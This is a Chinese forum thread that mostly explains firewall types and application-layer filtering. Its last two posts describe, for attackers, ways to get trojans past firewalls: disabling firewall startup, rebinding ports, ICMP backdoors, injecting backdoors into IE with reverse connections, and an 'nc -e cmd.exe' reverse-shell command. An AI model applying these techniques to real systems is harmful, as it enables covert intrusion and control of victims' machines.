用户
 找回密码
 立即注册
搜索

如果你希望从本版中学到知识的话,请进来(防火墙)

[复制链接]

4515

主题

3万

帖子

17万

积分

版主

Rank: 7Rank: 7Rank: 7

积分
176769
QQ
发表于 2009-7-31 08:05:35
解读防火墙
一. 防火墙的概念
  近年来,随着普通计算机用户群的日益增长,“防火墙”一词已经不再是服务器领域的专署,大部分家庭用户都知道为自己爱机安装各种“防火墙”软件了。但是,并不是所有用户都对“防火墙”有所了解的,一部分用户甚至认为,“防火墙”是一种软件的名称……
  到底什么才是防火墙?它工作在什么位置,起着什么作用?查阅历史书籍可知,古代构筑和使用木制结构房屋的时候为防止火灾的发生和蔓延,人们将坚固的石块堆砌在房屋周围作为屏障,这种防护构筑物就被称为“防火墙”(FireWall)。时光飞梭,随着计算机和网络的发展,各种攻击入侵手段也相继出现了,为了保护计算机的安全,人们开发出一种能阻止计算机之间直接通信的技术,并沿用了古代类似这个功能的名字——“防火墙”技术来源于此。用专业术语来说,防火墙是一种位于两个或多个网络间,实施网络之间访问控制的组件集合。对于普通用户来说,所谓“防火墙”,指的就是一种被放置在自己的计算机与外界网络之间的防御系统,从网络发往计算机的所有数据都要经过它的判断处理后,才会决定能不能把这些数据交给计算机,一旦发现有害数据,防火墙就会拦截下来,实现了对计算机的保护功能。
  防火墙技术从诞生开始,就在一刻不停的发展着,各种不同结构不同功能的防火墙,构筑成网络上的一道道防御大堤。
使用道具 举报 回复
发表于 2009-7-31 08:05:51
二. 防火墙的分类
  世界上没有一种事物是唯一的,防火墙也一样,为了更有效率的对付网络上各种不同攻击手段,防火墙也派分出几种防御架构。根据物理特性,防火墙分为两大类,硬件防火墙和软件防火墙。软件防火墙是一种安装在负责内外网络转换的网关服务器或者独立的个人计算机上的特殊程序,它是以逻辑形式存在的,防火墙程序跟随系统启动,通过运行在Ring0级别的特殊驱动模块把防御机制插入系统关于网络的处理部分和网络接口设备驱动之间,形成一种逻辑上的防御体系。
  在没有软件防火墙之前,系统和网络接口设备之间的通道是直接的,网络接口设备通过网络驱动程序接口(Network Driver Interface Specification,NDIS)把网络上传来的各种报文都忠实的交给系统处理,例如一台计算机接收到请求列出机器上所有共享资源的数据报文,NDIS直接把这个报文提交给系统,系统在处理后就会返回相应数据,在某些情况下就会造成信息泄漏。而使用软件防火墙后,尽管NDIS接收到仍然的是原封不动的数据报文,但是在提交到系统的通道上多了一层防御机制,所有数据报文都要经过这层机制根据一定的规则判断处理,只有它认为安全的数据才能到达系统,其他数据则被丢弃。因为有规则提到“列出共享资源的行为是危险的”,因此在防火墙的判断下,这个报文会被丢弃,这样一来,系统接收不到报文,则认为什么事情也没发生过,也就不会把信息泄漏出去了。
  软件防火墙工作于系统接口与NDIS之间,用于检查过滤由NDIS发送过来的数据,在无需改动硬件的前提下便能实现一定强度的安全保障,但是由于软件防火墙自身属于运行于系统上的程序,不可避免的需要占用一部分CPU资源维持工作,而且由于数据判断处理需要一定的时间,在一些数据流量大的网络里,软件防火墙会使整个系统工作效率和数据吞吐速度下降,甚至有些软件防火墙会存在漏洞,导致有害数据可以绕过它的防御体系,给数据安全带来损失,因此,许多企业并不会考虑用软件防火墙方案作为公司网络的防御措施,而是使用看得见摸得着的硬件防火墙。
  硬件防火墙是一种以物理形式存在的专用设备,通常架设于两个网络的驳接处,直接从网络设备上检查过滤有害的数据报文,位于防火墙设备后端的网络或者服务器接收到的是经过防火墙处理的相对安全的数据,不必另外分出CPU资源去进行基于软件架构的NDIS数据检测,可以大大提高工作效率。
  硬件防火墙一般是通过网线连接于外部网络接口与内部服务器或企业网络之间的设备,这里又另外派分出两种结构,一种是普通硬件级别防火墙,它拥有标准计算机的硬件平台和一些功能经过简化处理的UNIX系列操作系统和防火墙软件,这种防火墙措施相当于专门拿出一台计算机安装了软件防火墙,除了不需要处理其他事务以外,它毕竟还是一般的操作系统,因此有可能会存在漏洞和不稳定因素,安全性并不能做到最好;另一种是所谓的“芯片”级硬件防火墙,它采用专门设计的硬件平台,在上面搭建的软件也是专门开发的,并非流行的操作系统,因而可以达到较好的安全性能保障。但无论是哪种硬件防火墙,管理员都可以通过计算机连接上去设置工作参数。由于硬件防火墙的主要作用是把传入的数据报文进行过滤处理后转发到位于防火墙后面的网络中,因此它自身的硬件规格也是分档次的,尽管硬件防火墙已经足以实现比较高的信息处理效率,但是在一些对数据吞吐量要求很高的网络里,档次低的防火墙仍然会形成瓶颈,所以对于一些大企业而言,芯片级的硬件防火墙才是他们的首选。
  有人也许会这么想,既然PC架构的防火墙也不过如此,那么购买这种防火墙还不如自己找技术人员专门腾出一台计算机来做防火墙方案了。虽然这样做也是可以的,但是工作效率并不能和真正的PC架构防火墙相比,因为PC架构防火墙采用的是专门修改简化过的系统和相应防火墙程序,比一般计算机系统和软件防火墙更高度紧密集合,而且由于它的工作性质决定了它要具备非常高的稳定性、实用性和非常高的系统吞吐性能,这些要求并不是安装了多网卡的计算机就能简单替代的,因此PC架构防火墙虽然是与计算机差不多的配置,价格却相差很大。
  现实中我们往往会发现,并非所有企业都架设了芯片级硬件防火墙,而是用PC架构防火墙甚至前面提到的计算机替代方案支撑着,为什么?这大概就是硬件防火墙最显著的缺点了:它太贵了!购进一台PC架构防火墙的成本至少都要几千元,高档次的芯片级防火墙方案更是在十万元以上,这些价格并非是小企业所能承受的,而且对于一般家庭用户而言,自己的数据和系统安全也无需专门用到一个硬件设备去保护,何况为一台防火墙投入的资金足以让用户购买更高档的电脑了,因而广大用户只要安装一种好用的软件防火墙就够了。
  为防火墙分类的方法很多,除了从形式上把它分为软件防火墙和硬件防火墙以外,还可以从技术上分为“包过滤型”、“应用代理型”和“状态监视”三类;从结构上又分为单一主机防火墙、路由集成式防火墙和分布式防火墙三种;按工作位置分为边界防火墙、个人防火墙和混合防火墙;按防火墙性能分为百兆级防火墙和千兆级防火墙两类……虽然看似种类繁多,但这只是因为业界分类方法不同罢了,例如一台硬件防火墙就可能由于结构、数据吞吐量和工作位置而规划为“百兆级状态监视型边界防火墙”,因此这里主要介绍的是技术方面的分类,即“包过滤型”、“应用代理型”和“状态监视型”防火墙技术。
  那么,那些所谓的“边界防火墙”、“单一主机防火墙”又是什么概念呢?所谓“边界”,就是指两个网络之间的接口处,工作于此的防火墙就被称为“边界防火墙”;与之相对的有“个人防火墙”,它们通常是基于软件的防火墙,只处理一台计算机的数据而不是整个网络的数据,现在一般家庭用户使用的软件防火墙就是这个分类了。而“单一主机防火墙”呢,就是我们最常见的一台台硬件防火墙了;一些厂商为了节约成本,直接把防火墙功能嵌进路由设备里,就形成了路由集成式防火墙……
使用道具 举报 回复 支持 反对
发表于 2009-7-31 08:06:03
三. 防火墙技术
  传统意义上的防火墙技术分为三大类,“包过滤”(Packet Filtering)、“应用代理”(Application Proxy)和“状态监视”(Stateful Inspection),无论一个防火墙的实现过程多么复杂,归根结底都是在这三种技术的基础上进行功能扩展的。

1.包过滤技术
  包过滤是最早使用的一种防火墙技术,它的第一代模型是“静态包过滤”(Static Packet Filtering),使用包过滤技术的防火墙通常工作在OSI模型中的网络层(Network Layer)上,后来发展更新的“动态包过滤”(Dynamic Packet Filtering)增加了传输层(Transport Layer),简而言之,包过滤技术工作的地方就是各种基于TCP/IP协议的数据报文进出的通道,它把这两层作为数据监控的对象,对每个数据包的头部、协议、地址、端口、类型等信息进行分析,并与预先设定好的防火墙过滤规则(Filtering Rule)进行核对,一旦发现某个包的某个或多个部分与过滤规则匹配并且条件为“阻止”的时候,这个包就会被丢弃。适当的设置过滤规则可以让防火墙工作得更安全有效,但是这种技术只能根据预设的过滤规则进行判断,一旦出现一个没有在设计人员意料之中的有害数据包请求,整个防火墙的保护就相当于摆设了。也许你会想,让用户自行添加不行吗?但是别忘了,我们要为是普通计算机用户考虑,并不是所有人都了解网络协议的,如果防火墙工具出现了过滤遗漏问题,他们只能等着被入侵了。一些公司采用定期从网络升级过滤规则的方法,这个创意固然可以方便一部分家庭用户,但是对相对比较专业的用户而言,却不见得就是好事,因为他们可能会有根据自己的机器环境设定和改动的规则,如果这个规则刚好和升级到的规则发生冲突,用户就该郁闷了,而且如果两条规则冲突了,防火墙该听谁的,会不会当场“死给你看”(崩溃)?也许就因为考虑到这些因素,至今我没见过有多少个产品会提供过滤规则更新功能的,这并不能和杀毒软件的病毒特征库升级原理相提并论。为了解决这种鱼与熊掌的问题,人们对包过滤技术进行了改进,这种改进后的技术称为“动态包过滤”(市场上存在一种“基于状态的包过滤防火墙”技术,即Stateful-based Packet Filtering,他们其实是同一类型),与它的前辈相比,动态包过滤功能在保持着原有静态包过滤技术和过滤规则的基础上,会对已经成功与计算机连接的报文传输进行跟踪,并且判断该连接发送的数据包是否会对系统构成威胁,一旦触发其判断机制,防火墙就会自动产生新的临时过滤规则或者把已经存在的过滤规则进行修改,从而阻止该有害数据的继续传输,但是由于动态包过滤需要消耗额外的资源和时间来提取数据包内容进行判断处理,所以与静态包过滤相比,它会降低运行效率,但是静态包过滤已经几乎退出市场了,我们能选择的,大部分也只有动态包过滤防火墙了。
  基于包过滤技术的防火墙,其缺点是很显著的:它得以进行正常工作的一切依据都在于过滤规则的实施,但是偏又不能满足建立精细规则的要求(规则数量和防火墙性能成反比),而且它只能工作于网络层和传输层,并不能判断高级协议里的数据是否有害,但是由于它廉价,容易实现,所以它依然服役在各种领域,在技术人员频繁的设置下为我们工作着。
使用道具 举报 回复 支持 反对
发表于 2009-7-31 08:06:16
2.应用代理技术
  由于包过滤技术无法提供完善的数据保护措施,而且一些特殊的报文攻击仅仅使用过滤的方法并不能消除危害(如SYN攻击、ICMP洪水等),因此人们需要一种更全面的防火墙保护技术,在这样的需求背景下,采用“应用代理”(Application Proxy)技术的防火墙诞生了。我们的读者还记得“代理”的概念吗?代理服务器作为一个为用户保密或者突破访问限制的数据转发通道,在网络上应用广泛。我们都知道,一个完整的代理设备包含一个服务端和客户端,服务端接收来自用户的请求,调用自身的客户端模拟一个基于用户请求的连接到目标服务器,再把目标服务器返回的数据转发给用户,完成一次代理工作过程。那么,如果在一台代理设备的服务端和客户端之间连接一个过滤措施呢?这样的思想便造就了“应用代理”防火墙,这种防火墙实际上就是一台小型的带有数据检测过滤功能的透明代理服务器(Transparent Proxy),但是它并不是单纯的在一个代理设备中嵌入包过滤技术,而是一种被称为“应用协议分析”(Application Protocol Analysis)的新技术。
  “应用协议分析”技术工作在OSI模型的最高层——应用层上,在这一层里能接触到的所有数据都是最终形式,也就是说,防火墙“看到”的数据和我们看到的是一样的,而不是一个个带着地址端口协议等原始内容的数据包,因而它可以实现更高级的数据检测过程。整个代理防火墙把自身映射为一条透明线路,在用户方面和外界线路看来,它们之间的连接并没有任何阻碍,但是这个连接的数据收发实际上是经过了代理防火墙转向的,当外界数据进入代理防火墙的客户端时,“应用协议分析”模块便根据应用层协议处理这个数据,通过预置的处理规则(没错,又是规则,防火墙离不开规则)查询这个数据是否带有危害,由于这一层面对的已经不再是组合有限的报文协议,甚至可以识别类似于“GET /sql.asp?id=1 and 1”的数据内容,所以防火墙不仅能根据数据层提供的信息判断数据,更能像管理员分析服务器日志那样“看”内容辨危害。而且由于工作在应用层,防火墙还可以实现双向限制,在过滤外部网络有害数据的同时也监控着内部网络的信息,管理员可以配置防火墙实现一个身份验证和连接时限的功能,进一步防止内部网络信息泄漏的隐患。最后,由于代理防火墙采取是代理机制进行工作,内外部网络之间的通信都需先经过代理服务器审核,通过后再由代理服务器连接,根本没有给分隔在内外部网络两边的计算机直接会话的机会,可以避免入侵者使用“数据驱动”攻击方式(一种能通过包过滤技术防火墙规则的数据报文,但是当它进入计算机处理后,却变成能够修改系统设置和用户数据的恶意代码)渗透内部网络,可以说,“应用代理”是比包过滤技术更完善的防火墙技术。
  但是,似乎任何东西都不可能逃避“墨菲定律”的规则,代理型防火墙的结构特征偏偏正是它的最大缺点,由于它是基于代理技术的,通过防火墙的每个连接都必须建立在为之创建的代理程序进程上,而代理进程自身是要消耗一定时间的,更何况代理进程里还有一套复杂的协议分析机制在同时工作,于是数据在通过代理防火墙时就不可避免的发生数据迟滞现象,换个形象的说法,每个数据连接在经过代理防火墙时都会先被请进保安室喝杯茶搜搜身再继续赶路,而保安的工作速度并不能很快。代理防火墙是以牺牲速度为代价换取了比包过滤防火墙更高的安全性能,在网络吞吐量不是很大的情况下,也许用户不会察觉到什么,然而到了数据交换频繁的时刻,代理防火墙就成了整个网络的瓶颈,而且一旦防火墙的硬件配置支撑不住高强度的数据流量而发生罢工,整个网络可能就会因此瘫痪了。所以,代理防火墙的普及范围还远远不及包过滤型防火墙,而在软件防火墙方面更是几乎没见过类似产品了——单机并不具备代理技术所需的条件,所以就目前整个庞大的软件防火墙市场来说,代理防火墙很难有立足之地。
使用道具 举报 回复 支持 反对
发表于 2009-7-31 08:06:28
3.状态监视技术
  这是继“包过滤”技术和“应用代理”技术后发展的防火墙技术,它是CheckPoint技术公司在基于“包过滤”原理的“动态包过滤”技术发展而来的,与之类似的有其他厂商联合发展的“深度包检测”(Deep Packet Inspection)技术。这种防火墙技术通过一种被称为“状态监视”的模块,在不影响网络安全正常工作的前提下采用抽取相关数据的方法对网络通信的各个层次实行监测,并根据各种过滤规则作出安全决策。
  “状态监视”(Stateful Inspection)技术在保留了对每个数据包的头部、协议、地址、端口、类型等信息进行分析的基础上,进一步发展了“会话过滤”(Session Filtering)功能,在每个连接建立时,防火墙会为这个连接构造一个会话状态,里面包含了这个连接数据包的所有信息,以后这个连接都基于这个状态信息进行,这种检测的高明之处是能对每个数据包的内容进行监视,一旦建立了一个会话状态,则此后的数据传输都要以此会话状态作为依据,例如一个连接的数据包源端口是8000,那么在以后的数据传输过程里防火墙都会审核这个包的源端口还是不是8000,否则这个数据包就被拦截,而且会话状态的保留是有时间限制的,在超时的范围内如果没有再进行数据传输,这个会话状态就会被丢弃。状态监视可以对包内容进行分析,从而摆脱了传统防火墙仅局限于几个包头部信息的检测弱点,而且这种防火墙不必开放过多端口,进一步杜绝了可能因为开放端口过多而带来的安全隐患。
  由于状态监视技术相当于结合了包过滤技术和应用代理技术,因此是最先进的,但是由于实现技术复杂,在实际应用中还不能做到真正的完全有效的数据安全检测,而且在一般的计算机硬件系统上很难设计出基于此技术的完善防御措施(市面上大部分软件防火墙使用的其实只是包过滤技术加上一点其他新特性而已)。
使用道具 举报 回复 支持 反对
发表于 2009-7-31 08:06:52
四. 技术展望
  防火墙作为维护网络安全的关键设备,在目前采用的网络安全的防范体系中,占据着举足轻重的位置。伴随计算机技术的发展和网络应用的普及,越来越多的企业与个体都遭遇到不同程度的安全难题,因此市场对防火墙的设备需求和技术要求都在不断提升,而且越来越严峻的网络安全问题也要求防火墙技术有更快的提高,否则将会在面对新一轮入侵手法时束手无策。
  多功能、高安全性的防火墙可以让用户网络更加无忧,但前提是要确保网络的运行效率,因此在防火墙发展过程中,必须始终将高性能放在主要位置,目前各大厂商正在朝这个方向努力,而且丰富的产品功能也是用户选择防火墙的依据之一,一款完善的防火墙产品,应该包含有访问控制、网络地址转换、代理、认证、日志审计等基础功能,并拥有自己特色的安全相关技术,如规则简化方案等,明天的防火墙技术将会如何发展,让我们在短短的几年里,防火墙的功能重心从网络层发展到了应用层。本文结合Microsoft ISA Server的发展,阐述了这种变迁的技术背景,以及未来的防火墙技术走向。

应用层攻击挑战传统防火墙

最近两年来,攻击者的兴趣明显从端口扫描和制造拒绝服务攻击(DoS Attack)转向了针对Web、E-mail甚至数据库等主流应用的攻击。传统的防火墙仅仅检查IP数据包的包头,而忽略了内容——如果用信件来做比喻,也就是只检查了信封而没有检查信纸。因此对这类应用层的攻击无能为力。可以说,仅仅靠第三层和第四层的IP地址和协议端口过滤的防火墙产品早已走到了尽头。

拭目以待。
使用道具 举报 回复 支持 反对
发表于 2009-7-31 08:07:04
战火烧向七层

为了对抗应用层(OSI网络模型的第七层)的攻击,防火墙必须具备应用层的过滤能力,Microsoft ISA Server 2004等防火墙产品已经具备了这种能力。

如果把计算机网络比做一座建筑,传统的包过滤防火墙就是在企业内部网络和Internet之间的一系列并列的门。每道门都有安检人员对到达的包裹(IP数据包)进行逐一检查,若没有发现数据包含有异常代码便开门放行。攻击者常用的伎俩就是通过端口扫描来检查哪些门是敞开不设防的,然后加以利用。晚些时候出现的具有状态检测δ艿姆阑鹎娇梢约觳槟男┦?莅?抢醋訧nternet对内部网络访问请求的应答。也就是说,安检人员能够鉴别那些不请自来的包裹。

但应用层攻击就要复杂得多,因为攻击数据包在绝大多数情况下是合法的数据包,不同的只是内容具有攻击性,而且因为IP数据包是分段传输的,其内容的判别需要将所有相关的包重组后才能准确进行。一旦这种攻击数据包通过了防火墙,它们通常会开始有条不紊地利用目标系统的漏洞制造缓冲区溢出,获得系统的控制权,然后以此为平台开始寻找周围其他系统的漏洞或者其他的蠕虫留下的后门,进而展开攻击。

防火墙的对策

对此,Microsoft ISA Server 2004采取的应对措施是,针对每一类主流的应用, HTTP、SMTP、FTP和SQL Server数据库访问(基于RPC)都设置专门的过滤器,如果未来出现新的应用层威胁,还可以增加相应的过滤器。用户可以针对每一种过滤器进行应用相关的过滤设置,例如,可以通过限制任何HTTP访问请求的缓冲区不得超过3000个字节来防止一些蠕虫的攻击。在这种新的机制下,来自Internet的数据包被发送到各自的过滤器,过滤器会将数据包重组后进行内容扫描和判别。拿一封邮件来说,SMTP过滤器会等待相关的包到齐后,在转发之前重组邮件对其内容进行扫描,与已知类型的攻击进行比对,在确认这是正常流量后才允许通过。

经过正确配置的现代防火墙可以阻挡绝大多数已知的病毒邮件和攻击代码。虽然阻挡未知的病毒和攻击要困难得多,但是经过合理的策略设置通常是有效的。正确设置策略的基础是企业用户对于自身业务需求的正确理解,例如,多数企业的用户通常是没有必要通过邮件来传递可执行文件和Visual Basic脚本代码的。用户可以通过阻断含有这类可执行附件的邮件来对付一些未知的病毒。一旦真的需要发送这类文件,也可以设置更有针对性的策略,比如只允许IT部门的用户发送含有可执行文件附件邮件,或者允许用户接收除含有名为“Kournikova.jpg.vbs”的脚本附件之外的所有邮件。
使用道具 举报 回复 支持 反对
发表于 2009-7-31 08:07:37
安全与性能的矛盾  

用户早已习惯于把安全性和性能看成是对立的,就像在机场的安检入口,检查的步骤越多,等待安检的队伍也就越长。对于防火墙来说,性能和安全的确是一对永远的矛盾,但是应用层过滤的功能对防火墙性能的影响并没有多数用户想象得那么大,Microsoft ISA Server 2004标称每秒钟可处理超过1000个并发用户,同时保持每会话(session)27Mbps的吞吐量。事实上,有些厂商通过硬件(ASIC)实现应用层的过滤引擎,能够达到更加接近线速(可理解为以太网交换机的处理极限)的处理能力。

新的挑战

具有应用层过滤功能的防火墙可以更有效地阻挡当前多数病毒和攻击程序,但新的安全威胁的不断出现又对防火墙提出了新的挑战。攻击的来源正在变得更加复杂,而攻击的手段也愈加高明,最近垃圾邮件与攻击代码的结合就是一个典型的例证。这一方面需要防火墙设备对于应用层的内容有更好的认知和智能判别的能力,另一方面也需要防火墙更多地与其他的安全设备和应用有效配合,从而实现更加有力的防护。
随着木马,后门的不停发展,防火墙本身也在不断地发展,这是一个矛和盾和关系,知道如何逃过防火墙对于控制一台系统是有很重大的意义的。

由于防火墙的发展,时至今天,很多防火墙都是以驱动形式加载的,核心部分是在驱动那里,保留一个界面给用户去设置,这个界面程序同时充当了桥梁作用,传统的杀防火墙进程以达到能控制到系统的方法已经是失效的了,而且这也不是一个好的方法(想想管理员发现防火墙的图标不见了会有什么反应).以下是谈谈以种方法。
使用道具 举报 回复 支持 反对
发表于 2009-7-31 08:07:55
前提条件:

1.你在远程系统有足够权限

2.你已从ipc或mssql或其它得到系统的权限,但因为无论用ipc还是用mssql的操作,都并不如直接得到一个cmd的Shell操作来得快和方便


方法1:不让防火墙加载自己

使用各类工具,pslist,sc.exe,reg.exe等去查找防火墙在哪里加载的,如果是在run中那加载的话,用reg.exe将其删除;如果是服务启动,用sc.exe 将服务改为手动或禁止,然后重启那系统,这样系统重启后防火墙就无法加载自己了。这种方法不让防火墙运行,比较容易被管理员发现。

方法2:强行绑入防火墙允许的端口

一台系统,如果有一些服务,如pcanywhere,sev-u,iis,mssql,mysql等的话,防火墙总要允许这些应用程序打开的端口被外界所连接的,而这些应用程序打开的端口是可以被后门或木马程序自身打开的端口重新强行绑入的。例如pcnayhwere打开端口或serv-u打开的端口都可以被重新绑入,iis和mssql等就有时可以,但有时会失败,原因不明。 由于那些应用程序是得到防火墙的授权并信任的,所以后门或木马将绑口强行绑入后,是可以避开防火墙的,但这种方法对于那些比较高级的防火墙,如Zonealarm等,还是不行的,因为Zonealarm不只是监视端口,而且监视是什么程序尝试去绑入某个端口的,如果后门没得到Zonealarm授权的话,一样是无法绑入那个端口的。

方法3:icmp协议或自定义协议的后门或木马

对于一些防火墙是有效果的,但是如果防火墙是检测有网络连接的程序是不是防火墙信任的,那么这个方法就会失效,因为这类防火墙允不允许程序连接网络是根据用户是否让那程序连接的,而并不是单单看协议或端口。

方法4:将后门或木马插到其它进程中运行

系统中某些程序,99.9999%的用户都会允许的,象IE,如果有用户不允许IE连接网络的话,那是很稀见的。因为IE一般都是防火墙信任的应用程序,所以只要将后门程序插入到IE中运行,那么防火墙一般是不会拦的。只要防火墙允许IE连接网络,那么插入到IE中运行的后门就可以接受外界的连接了。这类后门一般是以Dl加载进去IE运行的,直接一个可执行程序将一个线程注入IE运行也可以,但远没有将DLL注入那么稳定。这种方法可以避开大部份的防火墙,但对于一些不但会检查out bound,而且会检查in bound连接的防火墙会有时失效。但总的来说,这算是一种很好和方便的方法(已经过测试).

方法5:将后门插入到IE中运行,并且使用反向连接

上面方法4已说明了IE一般是防火墙信任的应用程序,所以将后门插入到IE中运行已是一个好方法了,由于某些防火墙还会检查in bound连接(从外界连入系统的连接),是会导致方法4失效的,因为防火墙是可能通知用户是否允许这个连接的,只要用户拒绝,那么方法4就失效了。

但如果将后门插到IE中运行,并且让后门自动向外界一个指定的IP中连接(反向连接),这样的话,几乎99%是会成功的,因为防火墙是已允许IE向外连接的了,所以一旦后门连接上那个指定的IP,攻击者就可以得到一个cmd下的Shell.

上面所说的几种方法中,方法1,2,3应用面是很窄的,而且并不能算是一种好的方法;方法4,5是比较高级的方法,而且管理员一般很难发现(一般不会有人会怀疑自己的IE被人插入后门在运行的,相信大部份上网用户不会知道有这些方法的),而且这些方法比较难检测出来
使用道具 举报 回复 支持 反对
发表于 2009-7-31 08:08:25
网络不太平,谁上网都会架起个firewall来防护网络攻击
这岂不是给我们木马的生存带来了巨大挑战?
物竞天择,适者生存,嗯...要想生存下去就要穿墙! Bypass Firewall:

1.首先就是No Firewall(允许本地对外监听基本上任何端口),没有防火墙?(这不是废话?)
对付这种机器好办,随便哪个马一般都行
典型代表 Radmin(其实它不是马,用的人多了,也就变成了马,无辜)
rdp 3389/tcp (远程桌面,它也不是马,不过你不用,还有谁用呢?)

2.端口筛选(只允许外部连接特定端口,也就是外部对特定端口发起syn连接请求才被接受,从而完成三次握手,建立连接,否则防火墙丢弃数据包,无法完成握手,无法建立连接,也就是木马不能随意开个端口就监听了)
道高一尺,魔高一丈.:
你不让我连你,我就让你连我呗, 反弹端口技术诞生了(一般防火墙对本地发起的syn连接请求不会拦截)
使用工具netcat就可以穿刺这种防火墙 :
nc -e cmd.exe 远程ip 远程监听port
将会反弹一个cmdshell给远程ip主机控制,,这种方式好就好在可以控制没有公网ip的受害主机.

随后,端口复用技术也出现了,复用防火墙开放的端口:如80,21,445等
典型的后门如hkdoor,ntrookit(作者都是国人yyt_hac )
还有利用无端口协议来通信,如利用icmp报文,(Ping就是利用的ICMP协议的 Echo Request和Echo Reply探测主机存活)
典型的如pingdoor (Ping由于使用icmp报文,根本不开放端口,端口筛选也就无可奈何了,但是icmp并无差错控制,所以这种后门的传输特性也并不理想,除非自己加上差错控制)
更牛的,就是干脆抛开TCP/IP协议,木马自定义协议进行通信,你防火墙能把我怎么样?哈哈
典型的如ntrootkit采用了自定义协议技术.

3.应用程序筛选.(只允许特定程序访问网络)
木马也不甘落后,自己不能访问网络,只好寄人篱下:
进程插入技术诞生了,通常firewall都要允许iexplore.exe,explore.exe,svchost.exe,services.exe等程序访问网络,于是木马便盯上了这些程序.插入...插入再插入
现在的远程控制一般都是插入进程式,一是隐蔽(没有自己进程),二是穿墙.典型如Bits.dll(替换系统服务BITS,插入svchost.exe中) 和灰鸽子/PcShare(默认插入iexplorer.exe浏览器进程)等.
使用道具 举报 回复 支持 反对
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则